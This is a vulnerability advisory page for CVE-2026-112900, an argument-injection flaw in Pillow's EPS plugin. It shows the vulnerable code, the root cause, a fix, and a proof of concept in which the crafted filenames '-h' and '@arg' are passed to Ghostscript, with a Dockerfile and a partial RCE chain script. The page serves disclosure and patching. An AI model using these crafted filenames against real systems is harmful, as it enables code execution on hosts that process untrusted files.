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Response snapshot Oct 26, 2026, 21:58 UTC

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VulnerabilityCVE-2026-112900

Critical Flaw in Python’s Popular Pillow Image Library Allows Code Execution via a Crafted Image

```python infile_temp = None if hasattr(fp, "name") and os.path.exists(fp.name): infile = fp.name # user-controlled path used as-is, without validation else: in_fd, infile_temp = tempfile.mkstemp() os.close(in_fd) infile = infile_temp # ...

Published Updated

At a glance

Exploited
Not known
Severity
9.2 Critical (CVSS 4.0)
Chance of exploitation
1.1% in the next 30 days
Sources
3 independent sources

What to do

GitHub lists first patched versions: Pillow: 13.0.0. Confirm the affected range and upgrade guidance in the exact advisory.

Read GitHub-reviewed advisory GHSA-w889-685w-c8fh (opens a new tab)

What happened

### Summary `PIL.EpsImagePlugin.Ghostscript()` builds the Ghostscript command line using the input file path (`fp.name`) **without sanitization**, placing it at `-f `. A filename beginning with `-` is interpreted by Ghostscript as an option, giving command-line argument injection; chainable to RCE (see Impact). Reproduces with Pillow's default invocation (with `-dSAFER` enabled).

### Details _Give all details on the vulnerability. Pointing to the incriminated source code is very helpful for the maintainer._

#### Type CWE-88 (Argument Injection) (→ CWE-78 (OS Command Injection) optionally, with attacker controlled text file)

#### Vulnerable Codes

Continue reading

```python infile_temp = None if hasattr(fp, "name") and os.path.exists(fp.name): infile = fp.name # user-controlled path used as-is, without validation else: in_fd, infile_temp = tempfile.mkstemp() os.close(in_fd) infile = infile_temp # ... (copy fp into a temporary file)

# Build Ghostscript command command = [ gs_binary, "-q", f"-g{width:d}x{height:d}", f"-r{res_x:f}x{res_y:f}", "-dBATCH", "-dNOPAUSE", "-dSAFER", # default sandbox — does NOT stop this injection f"-sDEVICE={device}", f"-sOutputFile={outfile}", "-c", f"{-bbox[0]} {-bbox[1]} translate", "-f", infile, # injected here: inserted into argv with no check for # option prefixes (-, --) or Ghostscript's @-file token # => argument injection (CWE-88) "-c", "showpage", ] # ...

subprocess.check_call(command, startupinfo=startupinfo) # spawns Ghostscript ```

#### Root cause.

When rendering an EPS image, PIL.EpsImagePlugin.Ghostscript() constructs the Ghostscript command line using the input file path (fp.name) and places it directly at the -f position of the argument list.

This path is user-controllable, yet Pillow performs no validation or neutralization of tokens that Ghostscript treats specially during command-line argument parsing — in particular a leading - or -- (which Ghostscript interprets as an option rather than a filename) and a leading @ (Ghostscript's argument-file syntax, which causes it to read additional command-line arguments from the named file).

Because the filename is neither normalized (e.g., forced to an absolute path or prefixed with ./) nor checked against these prefixes before being handed to the subprocess, an attacker who controls the filename passed to Image.open() can inject arbitrary Ghostscript command-line arguments. This is a classic argument-injection flaw (CWE-88), and it is not mitigated by Pillow's default -dSAFER setting.

#### Affected - Pillow: tested on 12.3.0 (latest); vulnerable code is long-standing and appears to affect all current versions (main included). - Component: `src/PIL/EpsImagePlugin.py`, `Ghostscript()` — `infile = fp.name`, and the command list entry `"-f", infile`.

#### Suggested fix Normalize the filename to an absolute path before it is passed to Ghostscript, so it can never be parsed as an option (`-`/`--`) or as an argument-file token (`@`): ```python if hasattr(fp, "name") and os.path.exists(fp.name): infile = os.path.abspath(fp.name) # was: infile = fp.name ``` `os.path.

abspath()` guarantees the path starts with a path separator (or a drive letter on Windows), so a leading `-` or `@` can no longer reach Ghostscript's argument parser. The `else` branch already builds a safe `tempfile.mkstemp()` path and needs no change.

### PoC dockerfile, Default run shows the argument-injection demo (poc.py); for the RCE PoC run python3 poc-rce.py. ``` FROM ubuntu:24.04

RUN apt update RUN apt install -y --no-install-recommends python3 python3-venv ghostscript ca-certificates RUN rm -rf /var/lib/apt/lists/* RUN python3 -m venv /venv && /venv/bin/pip install --upgrade pip Pillow==12.3.0 ENV PATH=/venv/bin:$PATH WORKDIR /poc COPY poc.py . COPY poc-rce.py . COPY arg .

CMD ["python3", "poc.py"] ``` poc.py ``` import os from PIL import Image

############################################################################################ # Attacker controlled file ############################################################################################

EPS = b"%!PS-Adobe-3.0 EPSF-3.0\n%%BoundingBox: 0 0 100 100\n%%EndComments\nshowpage\n"

name = "-h" with open(name, "wb") as f: f.write(EPS)

############################################################################################

print(f"[*] Pillow opens a file whose name is {name!r}") im = Image.open(name) print(f"[*] call `load()`; this paths calls `gs` command with '-f {name}'") try: im.load() except Exception as e: print(f"[*] load() raised: {type(e).__name__}: {e}")

print("CWE-88: argument injection; Pillow code doesn't validate argument name") print(" This poc.py shows the vulnerability clearly.") print(" If Pillow checks the name of file before it uses, It won't display `help`") ``` poc-rce.py ``` import os from PIL import Image

############################################################################################ # Attacker controlled file ############################################################################################

EPS = b"%!PS-Adobe-3.0 EPSF-3.0\n%%BoundingBox: 0 0 100 100\n%%EndComments\nshowpage\n"

# To chain this vulnerability into critical RCE, We need another arbitrary text file # In this script, it is `arg`. name = "@arg" with open(name, "wb") as f: f.write(EPS)

############################################################################################

print(f"[*] Pillow opens a file whose name is {name!r}") im = Image.open(name) print(f"[*] call `load()`; this paths calls `gs` command with '-f {name}'") print(f"[*] and this leads to arbitrary command injection.") print(f"*********************************************") try: im.load() except Exception as e: print(f"*********************************************") print(f"[*] load() raised: {type(e).__name__}: {e}")

print("") print("CWE-78: OS Command Injection;") print("CWE-88: Argument Injection ; Pillow code doesn't validate argument name") print(" This poc.py s

Affected package ranges reported by GitHub: Pillow: >= 2.6.0, < 13.0.0

Scores and how they were measured

CVSS base severity

9.2

Version 4.0As of

CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

Measurement source (opens a new tab)

How bad it is if exploited. Not a prediction of exploitation or proof you are exposed.

EPSS probability

1.1%

Scored Percentile 64.4%

Model and measurement source (opens a new tab)

A model's estimate of exploitation in the next 30 days, not certainty or your own risk.

Related technology

Sources

  1. Primary source

    GitHub-reviewed advisory GHSA-w889-685w-c8fh (opens a new tab)

    The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review.

    Published Checked

  2. Primary source

    GitHub public advisory API page (opens a new tab)

    The API page supplied GHSA-w889-685w-c8fh, its actual identifiers, source dates, and structured metrics.

    Published Date not suppliedChecked

  3. Primary source

    GitHub public advisory API page (opens a new tab)

    The API page supplied GHSA-w889-685w-c8fh, its actual identifiers, source dates, and structured metrics.

    Published Date not suppliedChecked

  4. Primary source

    GitHub public advisory API page (opens a new tab)

    The API page supplied GHSA-w889-685w-c8fh, its actual identifiers, source dates, and structured metrics.

    Published Date not suppliedChecked

  5. Primary source

    GitHub public advisory API page (opens a new tab)

    The API page supplied GHSA-w889-685w-c8fh, its actual identifiers, source dates, and structured metrics.

    Published Date not suppliedChecked

  6. Primary source

    GitHub public advisory API page (opens a new tab)

    The API page supplied GHSA-w889-685w-c8fh, its actual identifiers, source dates, and structured metrics.

    Published Date not suppliedChecked

  7. Primary source

    GitHub public advisory API page (opens a new tab)

    The API page supplied GHSA-w889-685w-c8fh, its actual identifiers, source dates, and structured metrics.

    Published Date not suppliedChecked

  8. Primary source

    GitHub public advisory API page (opens a new tab)

    The API page supplied GHSA-w889-685w-c8fh, its actual identifiers, source dates, and structured metrics.

    Published Date not suppliedChecked

  9. Primary source

    GitHub public advisory API page (opens a new tab)

    The API page supplied GHSA-w889-685w-c8fh, its actual identifiers, source dates, and structured metrics.

    Published Date not suppliedChecked

  10. Primary source

    GitHub public advisory API page (opens a new tab)

    The API page supplied GHSA-w889-685w-c8fh, its actual identifiers, source dates, and structured metrics.

    Published Date not suppliedChecked

  11. Primary source

    GitHub public advisory API page (opens a new tab)

    The API page supplied GHSA-w889-685w-c8fh, its actual identifiers, source dates, and structured metrics.

    Published Date not suppliedChecked

  12. Primary source

    NVD CVE-2026-112900 (opens a new tab)

    NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation.

    Published Checked

  13. Primary source

    NVD CVE API 2.0 (opens a new tab)

    The NVD API page that supplied this CVE record.

    Published Date not suppliedChecked

  14. Reporting

    The Hacker News: Critical Flaw in Python’s Popular Pillow Image Library Allows Code Execution via a Crafted Image (opens a new tab)

    The article reports this vulnerability. It is reporting, not independently primary-confirmed or locally reviewed.

    Published Checked

  15. Reporting

    The Hacker News syndication feed (opens a new tab)

    The RSS/Atom/RDF entry supplied this exact link and any available title, date, and excerpt.

    Published Date not suppliedChecked

  16. Primary source

    FIRST measured EPSS score (opens a new tab)

    Measured EPSS probability and percentile for CVE-2026-112900, scored 2026-10-26. This is a model estimate, not proof of exposure.

    Published Checked

Cite this record

For factual claims, cite the primary sources above; cite KEVWire for its compilation, dates, and classifications.

APA

KEVWire. (2026, October 21). Critical Flaw in Python’s Popular Pillow Image Library Allows Code Execution via a Crafted Image (CVE-2026-112900). https://kevwire.com/record/CVE-2026-112900

MLA

"Critical Flaw in Python’s Popular Pillow Image Library Allows Code Execution via a Crafted Image (CVE-2026-112900)." KEVWire, 21 Oct. 2026, kevwire.com/record/CVE-2026-112900.

Chicago

KEVWire. "Critical Flaw in Python’s Popular Pillow Image Library Allows Code Execution via a Crafted Image (CVE-2026-112900)." Last modified October 21, 2026. https://kevwire.com/record/CVE-2026-112900.

Evidence summary (plain text)

Critical Flaw in Python’s Popular Pillow Image Library Allows Code Execution via a Crafted Image (Oct 21, 2026).
```python
infile_temp = None
if hasattr(fp, "name") and os.path.exists(fp.name):
 infile = fp.name # user-controlled path used as-is, without validation
else:
 in_fd, infile_temp = tempfile.mkstemp()
 os.close(in_fd)
 infile = infile_temp
 # ... (copy fp into a temporary file)

When rendering an EPS image, PIL.EpsImagePlugin.Ghostscript() constructs the Ghostscript command line using the input file path (fp.name) and places it directly at the -f position of the argument list. This path is user-controllable, yet Pillow performs no validation or neutralization of tokens that Ghostscript treats specially during command-line argument parsing — in particular a leading - or -- (which Ghostscript interprets as an option rather than a filename) and a leading @ (Ghostscript's argument-file syntax, which causes it to read additional command-line arguments from the named file). Because the filename is neither normalized (e.g., forced to an absolute path or prefixed with ./) nor checked against these prefixes before being handed to the subprocess, an attacker who controls the filename passed to Image.open() can inject arbitrary Ghostscript command-line arguments. This is a classic argument-injection flaw (CWE-88), and it is not mitigated by Pillow's default -dSAFER setting.
CVSS 9.2 (version 4.0; evidence as of Oct 21, 2026; https://github.com/advisories/GHSA-w889-685w-c8fh).
EPSS 1.1% for the following 30 days, scored Oct 26, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-112900&date=2026-10-26).
Sources:
GitHub-reviewed advisory GHSA-w889-685w-c8fh: https://github.com/advisories/GHSA-w889-685w-c8fh
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQxNTo1Mjo1NlrOAAfxiA%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQxNDowNjoxNFrOAAfxZw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQwODoyNzoyM1rOAAYp9A%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozNTo1OFrOAAfwCQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozMDoxM1rOAAfv2A%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyODowOVrOAAfv1g%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyNDoyMFrOAAfv1Q%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDo0NTowN1rOAAfvzQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDozMDoyNlrOAAfvxw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDowMzo1N1rOAAfvxQ%3D%3D
NVD CVE-2026-112900: https://nvd.nist.gov/vuln/detail/CVE-2026-112900
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5500
The Hacker News: Critical Flaw in Python’s Popular Pillow Image Library Allows Code Execution via a Crafted Image: https://thehackernews.com/2026/10/critical-flaw-in-pythons-popular-pillow.html
The Hacker News syndication feed: https://feeds.feedburner.com/TheHackersNews
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-112900&date=2026-10-26
Record ID: CVE-2026-112900.
Record origin: Ingested record.
AI evidence: Not assessed.
Known exploitation: Not assessed.
Zero-day status: Not assessed. KEV membership alone does not establish zero-day status.
About this data

This record was ingested from a data source. Retrieved: Oct 26, 2026, 19:40 UTC. Ingestion is not an independent editorial investigation.

A CISA KEV listing documents known exploitation, not necessarily a zero-day; absence from the catalog does not prove a vulnerability has never been exploited.

Technology tags indicate possible relevance, not verified exposure. Confirm the affected product, version, and configuration against your own inventory; KEVWire does not scan your systems.

A personal reading checklist on this device, not verified remediation.

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